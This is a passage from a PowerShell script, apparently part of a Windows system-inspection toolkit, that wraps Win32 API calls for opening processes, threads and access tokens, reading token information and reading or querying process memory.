@( 1238 | [IntPtr], #_In_ HANDLE ThreadHandle 1239 | [UInt32], #_In_ DWORD DesiredAccess 1240 | [bool], #_In_ BOOL OpenAsSelf 1241 | [IntPtr].MakeByRefType() #_Out_ PHANDLE TokenHandle 1242 | ) -SetLastError), 1243 | 1244 | (func kernel32 QueryFullProcessImageName ([bool]) @( 1245 | [IntPtr] #_In_ HANDLE hProcess 1246 | [UInt32] #_In_ DWORD dwFlags, 1247 | [System.Text.StringBuilder] #_Out_ LPTSTR lpExeName, 1248 | [UInt32].MakeByRefType() #_Inout_ PDWORD lpdwSize 1249 | ) -SetLastError), 1250 | 1251 | (func kernel32 ReadProcessMemory ([Bool]) @( 1252 | [IntPtr], # _In_ HANDLE hProcess 1253 | [IntPtr], # _In_ LPCVOID lpBaseAddress 1254 | [Byte[]], # _Out_ LPVOID lpBuffer 1255 | [Int], # _In_ SIZE_T nSize 1256 | [Int].MakeByRefType() # _Out_ SIZE_T *lpNumberOfBytesRead 1257 | ) -SetLastError), 1258 | 1259 | (func kernel32 VirtualQueryEx ([Int32]) @( 1260 | [IntPtr], #_In_ HANDLE hProcess, 1261 | [IntPtr], #_In_opt_ LPCVOID lpAddress, 1262 | $MEMORYBASICINFORMATION.MakeByRefType(), #_Out_ PMEMORY_BASIC_INFORMATION lpBuffer, 1263 | [UInt32] #_In_ SIZE_T dwLength 1264 | ) -SetLastError) 1265 | ) 1266 | 1267 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32SysInfo' 1268 | $Kernel32 = $Types['kernel32'] 1269 | $Ntdll = $Types['ntdll'] 1270 | $Advapi32 = $Types['advapi32'] 1271 | #endregion Function Definitions 1272 | 1273 | #endregion PSReflect Definitions (Thread) 1274 | 1275 | #region Win32 API Abstractions 1276 | 1277 | function CloseHandle 1278 | { 1279 | <# 1280 | .SYNOPSIS 1281 | 1282 | Closes an open object handle. 1283 | 1284 | .DESCRIPTION 1285 | 1286 | The CloseHandle function closes handles to the following objects: 1287 | - Access token 1288 | - Communications device 1289 | - Console input 1290 | - Console screen buffer 1291 | - Event 1292 | - File 1293 | - File mapping 1294 | - I/O completion port 1295 | - Job 1296 | - Mailslot 1297 | - Memory resource notification 1298 | - Mutex 1299 | - Named pipe 1300 | - Pipe 1301 | - Process 1302 | - Semaphore 1303 | - Thread 1304 | - Transaction 1305 | - Waitable timer 1306 | 1307 | The documentation for the functions that create these objects indicates that CloseHandle should be used when you are finished with the object, and what happens to pending operations on the object after the handle is closed. In general, CloseHandle invalidates the specified object handle, decrements the object's handle count, and performs object retention checks. After the last handle to an object is closed, the object is removed from the system. 1308 | 1309 | .PARAMETER Handle 1310 | 1311 | A valid handle to an open object. 1312 | 1313 | .NOTES 1314 | 1315 | Author - Jared Atkinson (@jaredcatkinson) 1316 | 1317 | .LINK 1318 | 1319 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx 1320 | 1321 | .EXAMPLE 1322 | #> 1323 | 1324 | param 1325 | ( 1326 | [Parameter(Mandatory = $true)] 1327 | [IntPtr] 1328 | $Handle 1329 | ) 1330 | 1331 | <# 1332 | (func kernel32 CloseHandle ([bool]) @( 1333 | [IntPtr] #_In_ HANDLE hObject 1334 | ) -SetLastError) 1335 | #> 1336 | 1337 | $Success = $Kernel32::CloseHandle($Handle); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1338 | 1339 | if(-not $Success) 1340 | { 1341 | Write-Debug "Close Handle Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1342 | } 1343 | } 1344 | 1345 | function ConvertSidToStringSid 1346 | { 1347 | <# 1348 | .SYNOPSIS 1349 | 1350 | The ConvertSidToStringSid function converts a security identifier (SID) to a string format suitable for display, storage, or transmission. 1351 | 1352 | .DESCRIPTION 1353 | 1354 | The ConvertSidToStringSid function uses the standard S-R-I-S-S… format for SID strings. 1355 | 1356 | .PARAMETER SidPointer 1357 | 1358 | A pointer to the SID structure to be converted. 1359 | 1360 | .NOTES 1361 | 1362 | Author - Jared Atkinson (@jaredcatkinson) 1363 | 1364 | .LINK 1365 | 1366 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa376399(v=vs.85).aspx 1367 | 1368 | .EXAMPLE 1369 | #> 1370 | 1371 | param 1372 | ( 1373 | [Parameter(Mandatory = $true)] 1374 | [IntPtr] 1375 | $SidPointer 1376 | ) 1377 | 1378 | <# 1379 | (func advapi32 ConvertSidToStringSid ([bool]) @( 1380 | [IntPtr] #_In_ PSID Sid, 1381 | [IntPtr].MakeByRefType() #_Out_ LPTSTR *StringSid 1382 | ) -SetLastError) 1383 | #> 1384 | 1385 | $StringPtr = [IntPtr]::Zero 1386 | $Success = $Advapi32::ConvertSidToStringSid($SidPointer, [ref]$StringPtr); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1387 | 1388 | if(-not $Success) 1389 | { 1390 | Write-Debug "ConvertSidToStringSid Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1391 | } 1392 | 1393 | Write-Output ([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($StringPtr)) 1394 | } 1395 | 1396 | function GetTokenInformation 1397 | { 1398 | <# 1399 | .SYNOPSIS 1400 | 1401 | .DESCRIPTION 1402 | 1403 | .PARAMETER TokenHandle 1404 | 1405 | .PARAMETER TokenInformationClass 1406 | 1407 | .NOTES 1408 | 1409 | Author - Jared Atkinson (@jaredcatkinson) 1410 | 1411 | .LINK 1412 | 1413 | .EXAMPLE 1414 | #> 1415 | 1416 | param 1417 | ( 1418 | [Parameter(Mandatory = $true)] 1419 | [IntPtr] 1420 | $TokenHandle, 1421 | 1422 | [Parameter(Mandatory = $true)] 1423 | $TokenInformationClass 1424 | ) 1425 | 1426 | <# 1427 | (func advapi32 GetTokenInformation ([bool]) @( 1428 | [IntPtr], #_In_ HANDLE TokenHandle 1429 | [Int32], #_In_ TOKEN_INFORMATION_CLASS TokenInformationClass 1430 | [IntPtr], #_Out_opt_ LPVOID TokenInformation 1431 | [UInt32], #_In_ DWORD TokenInformationLength 1432 | [UInt32].MakeByRefType() #_Out_ PDWORD ReturnLength 1433 | ) -SetLastError) 1434 | #> 1435 | 1436 | # initial query to determine the necessary buffer size 1437 | $TokenPtrSize = 0 1438 | $Success = $Advapi32::GetTokenInformation($TokenHandle, $TokenInformationClass, 0, $TokenPtrSize, [ref]$TokenPtrSize) 1439 | [IntPtr]$TokenPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPtrSize) 1440 | 1441 | # retrieve the proper buffer value 1442 | $Success = $Advapi32::GetTokenInformation($TokenHandle, $TokenInformationClass, $TokenPtr, $TokenPtrSize, [ref]$TokenPtrSize); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1443 | 1444 | if($Success) 1445 | { 1446 | switch($TokenInformationClass) 1447 | { 1448 | 1 # TokenUser 1449 | { 1450 | $TokenUser = $TokenPtr -as $TOKEN_USER 1451 | ConvertSidToStringSid -SidPointer $TokenUser.User.Sid 1452 | } 1453 | 3 # TokenPrivilege 1454 | { 1455 | # query the process token with the TOKEN_INFORMATION_CLASS = 3 enum to retrieve a TOKEN_PRIVILEGES structure 1456 | $TokenPrivileges = $TokenPtr -as $TOKEN_PRIVILEGES 1457 | 1458 | $sb = New-Object System.Text.StringBuilder 1459 | 1460 | for($i=0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) 1461 | { 1462 | if((($TokenPrivileges.Privileges[$i].Attributes -as $LuidAttributes) -band $LuidAttributes::SE_PRIVILEGE_ENABLED) -eq $LuidAttributes::SE_PRIVILEGE_ENABLED) 1463 | { 1464 | $sb.Append(", $($TokenPrivileges.Privileges[$i].Luid.LowPart.ToString())") | Out-Null 1465 | } 1466 | } 1467 | Write-Output $sb.ToString().TrimStart(', ') 1468 | } 1469 | 17 # TokenOrigin 1470 | { 1471 | $TokenOrigin = $TokenPtr -as $LUID 1472 | Write-Output (Get-LogonSession -LogonId $TokenOrigin.LowPart) 1473 | } 1474 | 22 # TokenAccessInformation 1475 | { 1476 | 1477 | } 1478 | 25 # TokenIntegrityLevel 1479 | { 1480 | $TokenIntegrity = $TokenPtr -as $TOKEN_MANDATORY_LABEL 1481 | switch(ConvertSidToStringSid -SidPointer $TokenIntegrity.Label.Sid) 1482 | { 1483 | $UNTRUSTED_MANDATORY_LEVEL 1484 | { 1485 | Write-Output "UNTRUSTED_MANDATORY_LEVEL" 1486 | } 1487 | $LOW_MANDATORY_LEVEL 1488 | { 1489 | Write-Output "LOW_MANDATORY_LEVEL" 1490 | } 1491 | $MEDIUM_MANDATORY_LEVEL 1492 | { 1493 | Write-Output "MEDIUM_MANDATORY_LEVEL" 1494 | } 1495 | $MEDIUM_PLUS_MANDATORY_LEVEL 1496 | { 1497 | Write-Output "MEDIUM_PLUS_MANDATORY_LEVEL" 1498 | } 1499 | $HIGH_MANDATORY_LEVEL 1500 | { 1501 | Write-Output "HIGH_MANDATORY_LEVEL" 1502 | } 1503 | $SYSTEM_MANDATORY_LEVEL 1504 | { 1505 | Write-Output "SYSTEM_MANDATORY_LEVEL" 1506 | } 1507 | $PROTECTED_PROCESS_MANDATORY_LEVEL 1508 | { 1509 | Write-Output "PROTECTED_PROCESS_MANDATORY_LEVEL" 1510 | } 1511 | $SECURE_PROCESS_MANDATORY_LEVEL 1512 | { 1513 | Write-Output "SECURE_PROCESS_MANDATORY_LEVEL" 1514 | } 1515 | } 1516 | } 1517 | } 1518 | } 1519 | else 1520 | { 1521 | Write-Debug "GetTokenInformation Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1522 | } 1523 | try 1524 | { 1525 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPtr) 1526 | } 1527 | catch 1528 | { 1529 | 1530 | } 1531 | } 1532 | 1533 | function NtQueryInformationThread 1534 | { 1535 | <# 1536 | .SYNOPSIS 1537 | 1538 | Retrieves information about the specified thread. 1539 | 1540 | .DESCRIPTION 1541 | 1542 | .PARAMETER ThreadHandle 1543 | 1544 | .NOTES 1545 | 1546 | Author - Jared Atkinson (@jaredcatkinson) 1547 | 1548 | .LINK 1549 | 1550 | .EXAMPLE 1551 | #> 1552 | 1553 | param 1554 | ( 1555 | [Parameter(Mandatory = $true)] 1556 | [IntPtr] 1557 | $ThreadHandle 1558 | ) 1559 | 1560 | <# 1561 | (func ntdll NtQueryInformationThread ([Int32]) @( 1562 | [IntPtr], #_In_ HANDLE ThreadHandle, 1563 | [Int32], #_In_ THREADINFOCLASS ThreadInformationClass, 1564 | [IntPtr], #_Inout_ PVOID ThreadInformation, 1565 | [Int32], #_In_ ULONG ThreadInformationLength, 1566 | [IntPtr] #_Out_opt_ PULONG ReturnLength 1567 | )) 1568 | #> 1569 | 1570 | $buf = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size) 1571 | 1572 | $Success = $Ntdll::NtQueryInformationThread($ThreadHandle, 9, $buf, [IntPtr]::Size, [IntPtr]::Zero); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1573 | 1574 | if(-not $Success) 1575 | { 1576 | Write-Debug "NtQueryInformationThread Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1577 | } 1578 | 1579 | Write-Output ([System.Runtime.InteropServices.Marshal]::ReadIntPtr($buf)) 1580 | } 1581 | 1582 | function OpenProcess 1583 | { 1584 | <# 1585 | .SYNOPSIS 1586 | 1587 | Opens an existing local process object. 1588 | 1589 | .DESCRIPTION 1590 | 1591 | To open a handle to another local process and obtain full access rights, you must enable the SeDebugPrivilege privilege. 1592 | The handle returned by the OpenProcess function can be used in any function that requires a handle to a process, such as the wait functions, provided the appropriate access rights were requested. 1593 | When you are finished with the handle, be sure to close it using the CloseHandle function. 1594 | 1595 | .PARAMETER ProcessId 1596 | 1597 | The identifier of the local process to be opened. 1598 | If the specified process is the System Process (0x00000000), the function fails and the last error code is ERROR_INVALID_PARAMETER. If the specified process is the Idle process or one of the CSRSS processes, this function fails and the last error code is ERROR_ACCESS_DENIED because their access restrictions prevent user-level code from opening them. 1599 | 1600 | .PARAMETER DesiredAccess 1601 | 1602 | The access to the process object. This access right is checked against the security descriptor for the process. This parameter can be one or more of the process access rights. 1603 | If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. 1604 | 1605 | .PARAMETER InheritHandle 1606 | 1607 | If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. 1608 | 1609 | .NOTES 1610 | 1611 | Author: Jared Atkinson (@jaredcatkinson) 1612 | License: BSD 3-Clause 1613 | Required Dependencies: PSReflect 1614 | Optional Dependencies: PROCESS_ACCESS 1615 | 1616 | (func kernel32 OpenProcess ([IntPtr]) @( 1617 | [UInt32], #_In_ DWORD dwDesiredAccess 1618 | [bool], #_In_ BOOL bInheritHandle 1619 | [UInt32] #_In_ DWORD dwProcessId 1620 | ) -EntryPoint OpenProcess -SetLastError) 1621 | 1622 | .LINK 1623 | 1624 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx 1625 | 1626 | .LINK 1627 | 1628 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx 1629 | 1630 | .EXAMPLE 1631 | #> 1632 | 1633 | [CmdletBinding()] 1634 | param 1635 | ( 1636 | [Parameter(Mandatory = $true)] 1637 | [UInt32] 1638 | $ProcessId, 1639 | 1640 | [Parameter(Mandatory = $true)] 1641 | [ValidateSet('PROCESS_TERMINATE','PROCESS_CREATE_THREAD','PROCESS_VM_OPERATION','PROCESS_VM_READ','PROCESS_VM_WRITE','PROCESS_DUP_HANDLE','PROCESS_CREATE_PROCESS','PROCESS_SET_QUOTA','PROCESS_SET_INFORMATION','PROCESS_QUERY_INFORMATION','PROCESS_SUSPEND_RESUME','PROCESS_QUERY_LIMITED_INFORMATION','DELETE','READ_CONTROL','WRITE_DAC','WRITE_OWNER','SYNCHRONIZE','PROCESS_ALL_ACCESS')] 1642 | [string[]] 1643 | $DesiredAccess, 1644 | 1645 | [Parameter()] 1646 | [bool] 1647 | $InheritHandle = $false 1648 | ) 1649 | 1650 | # Calculate Desired Access Value 1651 | $dwDesiredAccess = 0 1652 | 1653 | foreach($val in $DesiredAccess) 1654 | { 1655 | $dwDesiredAccess = $dwDesiredAccess -bor $PROCESS_ACCESS::$val 1656 | } 1657 | 1658 | $hProcess = $Kernel32::OpenProcess($dwDesiredAccess, $InheritHandle, $ProcessId); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1659 | 1660 | if($hProcess -eq 0) 1661 | { 1662 | #throw "OpenProcess Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1663 | } 1664 | 1665 | Write-Output $hProcess 1666 | } 1667 | 1668 | function OpenProcessToken 1669 | { 1670 | <# 1671 | .SYNOPSIS 1672 | 1673 | The OpenProcessToken function opens the access token associated with a process. 1674 | 1675 | .PARAMETER ProcessHandle 1676 | 1677 | A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission. 1678 | 1679 | .PARAMETER DesiredAccess 1680 | 1681 | Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied. 1682 | For a list of access rights for access tokens, see Access Rights for Access-Token Objects. 1683 | 1684 | .NOTES 1685 | 1686 | Author: Jared Atkinson (@jaredcatkinson) 1687 | License: BSD 3-Clause 1688 | Required Dependencies: PSReflect 1689 | Optional Dependencies: TOKEN_ACCESS (Enumeration) 1690 | 1691 | (func advapi32 OpenProcessToken ([bool]) @( 1692 | [IntPtr], #_In_ HANDLE ProcessHandle 1693 | [UInt32], #_In_ DWORD DesiredAccess 1694 | [IntPtr].MakeByRefType() #_Out_ PHANDLE TokenHandle 1695 | ) -EntryPoint OpenProcessToken -SetLastError) 1696 | 1697 | .LINK 1698 | 1699 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx 1700 | 1701 | .LINK 1702 | 1703 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx 1704 | 1705 | .EXAMPLE 1706 | #> 1707 | 1708 | [OutputType([IntPtr])] 1709 | [CmdletBinding()] 1710 | param 1711 | ( 1712 | [Parameter(Mandatory = $true)] 1713 | [IntPtr] 1714 | $ProcessHandle, 1715 | 1716 | [Parameter(Mandatory = $true)] 1717 | [ValidateSet('TOKEN_ASSIGN_PRIMARY','TOKEN_DUPLICATE','TOKEN_IMPERSONATE','TOKEN_QUERY','TOKEN_QUERY_SOURCE','TOKEN_ADJUST_PRIVILEGES','TOKEN_ADJUST_GROUPS','TOKEN_ADJUST_DEFAULT','TOKEN_ADJUST_SESSIONID','DELETE','READ_CONTROL','WRITE_DAC','WRITE_OWNER','SYNCHRONIZE','STANDARD_RIGHTS_REQUIRED','TOKEN_ALL_ACCESS')] 1718 | [string[]] 1719 | $DesiredAccess 1720 | ) 1721 | 1722 | # Calculate Desired Access Value 1723 | $dwDesiredAccess = 0 1724 | 1725 | foreach($val in $DesiredAccess) 1726 | { 1727 | $dwDesiredAccess = $dwDesiredAccess -bor $TOKEN_ACCESS::$val 1728 | } 1729 | 1730 | $hToken = [IntPtr]::Zero 1731 | $Success = $Advapi32::OpenProcessToken($ProcessHandle, $dwDesiredAccess, [ref]$hToken); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1732 | 1733 | if(-not $Success) 1734 | { 1735 | throw "OpenProcessToken Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1736 | } 1737 | 1738 | Write-Output $hToken 1739 | } 1740 | 1741 | function OpenThread 1742 | { 1743 | <# 1744 | .SYNOPSIS 1745 | 1746 | Opens an existing thread object. 1747 | 1748 | .DESCRIPTION 1749 | 1750 | The handle returned by OpenThread can be used in any function that requires a handle to a thread, such as the wait functions, provided you requested the appropriate access rights. The handle is granted access to the thread object only to the extent it was specified in the dwDesiredAccess parameter. 1751 | When you are finished with the handle, be sure to close it by using the CloseHandle function. 1752 | 1753 | .PARAMETER ThreadId 1754 | 1755 | The identifier of the thread to be opened. 1756 | 1757 | .PARAMETER DesiredAccess 1758 | 1759 | The access to the thread object. This access right is checked against the security descriptor for the thread. This parameter can be one or more of the thread access rights. 1760 | If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. 1761 | 1762 | .PARAMETER InheritHandle 1763 | 1764 | If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. 1765 | 1766 | .NOTES 1767 | 1768 | Author: Jared Atkinson (@jaredcatkinson) 1769 | License: BSD 3-Clause 1770 | Required Dependencies: PSReflect 1771 | Optional Dependencies: THREAD_ACCESS (Enumeration) 1772 | 1773 | (func kernel32 OpenThread ([IntPtr]) @( 1774 | [UInt32], #_In_ DWORD dwDesiredAccess 1775 | [bool], #_In_ BOOL bInheritHandle 1776 | [UInt32] #_In_ DWORD dwThreadId 1777 | ) -EntryPoint OpenThread -SetLastError) 1778 | 1779 | .LINK 1780 | 1781 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684335(v=vs.85).aspx 1782 | 1783 | .LINK 1784 | 1785 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms686769(v=vs.85).aspx 1786 | 1787 | .EXAMPLE 1788 | #> 1789 | 1790 | [CmdletBinding()] 1791 | param 1792 | ( 1793 | [Parameter(Mandatory = $true)] 1794 | [UInt32] 1795 | $ThreadId, 1796 | 1797 | [Parameter(Mandatory = $true)] 1798 | [ValidateSet('THREAD_TERMINATE','THREAD_SUSPEND_RESUME','THREAD_GET_CONTEXT','THREAD_SET_CONTEXT','THREAD_SET_INFORMATION','THREAD_QUERY_INFORMATION','THREAD_SET_THREAD_TOKEN','THREAD_IMPERSONATE','THREAD_DIRECT_IMPERSONATION','THREAD_SET_LIMITED_INFORMATION','THREAD_QUERY_LIMITED_INFORMATION','DELETE','READ_CONTROL','WRITE_DAC','WRITE_OWNER','SYNCHRONIZE','THREAD_ALL_ACCESS')] 1799 | [string[]] 1800 | $DesiredAccess, 1801 | 1802 | [Parameter()] 1803 | [bool] 1804 | $InheritHandle = $false 1805 | ) 1806 | 1807 | # Calculate Desired Access Value 1808 | $dwDesiredAccess = 0 1809 | 1810 | foreach($val in $DesiredAccess) 1811 | { 1812 | $dwDesiredAccess = $dwDesiredAccess -bor $THREAD_ACCESS::$val 1813 | } 1814 | 1815 | $hThread = $Kernel32::OpenThread($dwDesiredAccess, $InheritHandle, $ThreadId); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1816 | 1817 | if($hThread -eq 0) 1818 | { 1819 | #throw "OpenThread Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1820 | } 1821 | 1822 | Write-Output $hThread 1823 | } 1824 | 1825 | function OpenThreadToken 1826 | { 1827 | <# 1828 | .SYNOPSIS 1829 | 1830 | The OpenThreadToken function opens the access token associated with a thread 1831 | 1832 | .DESCRIPTION 1833 | 1834 | Tokens with the anonymous impersonation level cannot be opened. 1835 | Close the access token handle returned through the Handle parameter by calling CloseHandle. 1836 | 1837 | .PARAMETER ThreadHandle 1838 | 1839 | A handle to the thread whose access token is opened. 1840 | 1841 | .PARAMETER DesiredAccess 1842 | 1843 | Specifies an access mask that specifies the requested types of access to the access token. These requested access types are reconciled against the token's discretionary access control list (DACL) to determine which accesses are granted or denied. 1844 | 1845 | .PARAMETER OpenAsSelf 1846 | 1847 | TRUE if the access check is to be made against the process-level security context. 1848 | FALSE if the access check is to be made against the current security context of the thread calling the OpenThreadToken function. 1849 | The OpenAsSelf parameter allows the caller of this function to open the access token of a specified thread when the caller is impersonating a token at SecurityIdentification level. Without this parameter, the calling thread cannot open the access token on the specified thread because it is impossible to open executive-level objects by using the SecurityIdentification impersonation level. 1850 | 1851 | .NOTES 1852 | 1853 | Author: Jared Atkinson (@jaredcatkinson) 1854 | License: BSD 3-Clause 1855 | Required Dependencies: PSReflect 1856 | Optional Dependencies: $TOKEN_ACCESS (Enumeration) 1857 | 1858 | (func advapi32 OpenThreadToken ([bool]) @( 1859 | [IntPtr], #_In_ HANDLE ThreadHandle 1860 | [UInt32], #_In_ DWORD DesiredAccess 1861 | [bool], #_In_ BOOL OpenAsSelf 1862 | [IntPtr].MakeByRefType() #_Out_ PHANDLE TokenHandle 1863 | ) -EntryPoint OpenThreadToken -SetLastError) 1864 | 1865 | .LINK 1866 | 1867 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379296(v=vs.85).aspx 1868 | 1869 | .LINK 1870 | 1871 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx 1872 | 1873 | .EXAMPLE 1874 | #> 1875 | 1876 | [CmdletBinding()] 1877 | param 1878 | ( 1879 | [Parameter(Mandatory = $true)] 1880 | [IntPtr] 1881 | $ThreadHandle, 1882 | 1883 | [Parameter(Mandatory = $true)] 1884 | [ValidateSet('TOKEN_ASSIGN_PRIMARY','TOKEN_DUPLICATE','TOKEN_IMPERSONATE','TOKEN_QUERY','TOKEN_QUERY_SOURCE','TOKEN_ADJUST_PRIVILEGES','TOKEN_ADJUST_GROUPS','TOKEN_ADJUST_DEFAULT','TOKEN_ADJUST_SESSIONID','DELETE','READ_CONTROL','WRITE_DAC','WRITE_OWNER','SYNCHRONIZE','STANDARD_RIGHTS_REQUIRED','TOKEN_ALL_ACCESS')] 1885 | [string[]] 1886 | $DesiredAccess, 1887 | 1888 | [Parameter()] 1889 | [bool] 1890 | $OpenAsSelf = $false 1891 | ) 1892 | 1893 | # Calculate Desired Access Value 1894 | $dwDesiredAccess = 0 1895 | 1896 | foreach($val in $DesiredAccess) 1897 | { 1898 | $dwDesiredAccess = $dwDesiredAccess -bor $TOKEN_ACCESS::$val 1899 | } 1900 | 1901 | $hToken = [IntPtr]::Zero 1902 | $Success = $Advapi32::OpenThreadToken($ThreadHandle, $dwDesiredAccess, $OpenAsSelf, [ref]$hToken); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1903 | 1904 | if(-not $Success) 1905 | { 1906 | throw "OpenThreadToken Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1907 | } 1908 | 1909 | Write-Output $hToken 1910 | } 1911 | 1912 | function QueryFullProcessImageName 1913 | { 1914 | <# 1915 | .SYNOPSIS 1916 | 1917 | Retrieves the full name of the executable image for the specified process. 1918 | 1919 | .PARAMETER ProcessHandle 1920 | 1921 | A handle to the process. This handle must be created with the PROCESS_QUERY_INFORMATION or PROCESS_QUERY_LIMITED_INFORMATION access right. 1922 | 1923 | .PARAMETER Flags 1924 | 1925 | This parameter can be one of the following values. 1926 | 0x00 - The name should use the Win32 path format. 1927 | 0x01 - The name should use the native system path format. 1928 | 1929 | .NOTES 1930 | 1931 | Author - Jared Atkinson (@jaredcatkinson) 1932 | 1933 | .LINK 1934 | 1935 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684919(v=vs.85).aspx 1936 | 1937 | .EXAMPLE 1938 | #> 1939 | 1940 | param 1941 | ( 1942 | [Parameter(Mandatory = $true)] 1943 | [IntPtr] 1944 | $ProcessHandle, 1945 | 1946 | [Parameter()] 1947 | [UInt32] 1948 | $Flags = 0 1949 | ) 1950 | 1951 | $capacity = 2048 1952 | $sb = New-Object -TypeName System.Text.StringBuilder($capacity) 1953 | 1954 | $Success = $Kernel32::QueryFullProcessImageName($ProcessHandle, $Flags, $sb, [ref]$capacity); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 1955 | 1956 | if(-not $Success) 1957 | { 1958 | Write-Debug "QueryFullProcessImageName Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 1959 | } 1960 | 1961 | Write-Output $sb.ToString() 1962 | } 1963 | 1964 | function ReadProcessMemory 1965 | { 1966 | <# 1967 | .SYNOPSIS 1968 | 1969 | Reads data from an area of memory in a specified process. The entire area to be read must be accessible or the operation fails. 1970 | 1971 | .DESCRIPTION 1972 | 1973 | ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process. Any process that has a handle with PROCESS_VM_READ access can call the function. 1974 | 1975 | The entire area to be read must be accessible, and if it is not accessible, the function fails. 1976 | 1977 | .PARAMETER ProcessHandle 1978 | 1979 | A handle to the process with memory that is being read. The handle must have PROCESS_VM_READ access to the process. 1980 | 1981 | .PARAMETER BaseAddress 1982 | 1983 | The base address in the specified process from which to read. Before any data transfer occurs, the system verifies that all data in the base address and memory of the specified size is accessible for read access, and if it is not accessible the function fails. 1984 | 1985 | .PARAMETER Size 1986 | 1987 | The number of bytes to be read from the specified process. 1988 | 1989 | .NOTES 1990 | 1991 | Author - Jared Atkinson (@jaredcatkinson) 1992 | 1993 | .LINK 1994 | 1995 | https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx 1996 | 1997 | .EXAMPLE 1998 | #> 1999 | 2000 | param 2001 | ( 2002 | [Parameter(Mandatory = $true)] 2003 | [IntPtr] 2004 | $ProcessHandle, 2005 | 2006 | [Parameter(Mandatory = $true)] 2007 | [IntPtr] 2008 | $BaseAddress, 2009 | 2010 | [Parameter(Mandatory = $true)] 2011 | [Int] 2012 | $Size 2013 | ) 2014 | 2015 | <# 2016 | (func kernel32 ReadProcessMemory ([Bool]) @( 2017 | [IntPtr], # _In_ HANDLE hProcess 2018 | [IntPtr], # _In_ LPCVOID lpBaseAddress 2019 | [Byte[]], # _Out_ LPVOID lpBuffer 2020 | [Int], # _In_ SIZE_T nSize 2021 | [Int].MakeByRefType() # _Out_ SIZE_T *lpNumberOfBytesRead 2022 | ) -SetLastError) # MSDN states to call GetLastError if the return value is false. 2023 | #> 2024 | 2025 | $buf = New-Object byte[]($Size) 2026 | [Int32]$NumberOfBytesRead = 0 2027 | 2028 | $Success = $Kernel32::ReadProcessMemory($ProcessHandle, $BaseAddress, $buf, $buf.Length, [ref]$NumberOfBytesRead); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 2029 | 2030 | if(-not $Success) 2031 | { 2032 | Write-Debug "ReadProcessMemory Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 2033 | } 2034 | 2035 | Write-Output $buf 2036 | } 2037 | 2038 | function VirtualQueryEx 2039 | { 2040 | <# 2041 | .SYNOPSIS 2042 | 2043 | Retrieves information about a range of pages within the virtual address space of a specified process. 2044 | 2045 | .PARAMETER ProcessHandle 2046 | 2047 | A handle to the process whose memory information is queried. The handle must have been opened with the PROCESS_QUERY_INFORMATION access right, which enables using the handle to read information from the process object. 2048 | 2049 | .PARAMETER BaseAddress 2050 | 2051 | The base address of the region of pages to be queried. This value is rounded down to the next page boundary. 2052 | 2053 | .NOTES 2054 | 2055 | Author - Jared Atkinson (@jaredcatkinson) 2056 | 2057 | .LINK 2058 | 2059 | https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907(v=vs.85).aspx 2060 | 2061 | .EXAMPLE 2062 | #> 2063 | 2064 | param 2065 | ( 2066 | [Parameter(Mandatory = $true)] 2067 | [IntPtr] 2068 | $ProcessHandle, 2069 | 2070 | [Parameter(Mandatory = $true)] 2071 | [IntPtr] 2072 | $BaseAddress 2073 | ) 2074 | 2075 | <# 2076 | (func kernel32 VirtualQueryEx ([Int32]) @( 2077 | [IntPtr], #_In_ HANDLE hProcess, 2078 | [IntPtr], #_In_opt_ LPCVOID lpAddress, 2079 | $MEMORYBASICINFORMATION.MakeByRefType(), #_Out_ PMEMORY_BASIC_INFORMATION lpBuffer, 2080 | [UInt32] #_In_ SIZE_T dwLength 2081 | ) -SetLastError) 2082 | #> 2083 | 2084 | $memory_basic_info = [Activator]::CreateInstance($MEMORYBASICINFORMATION) 2085 | $Success = 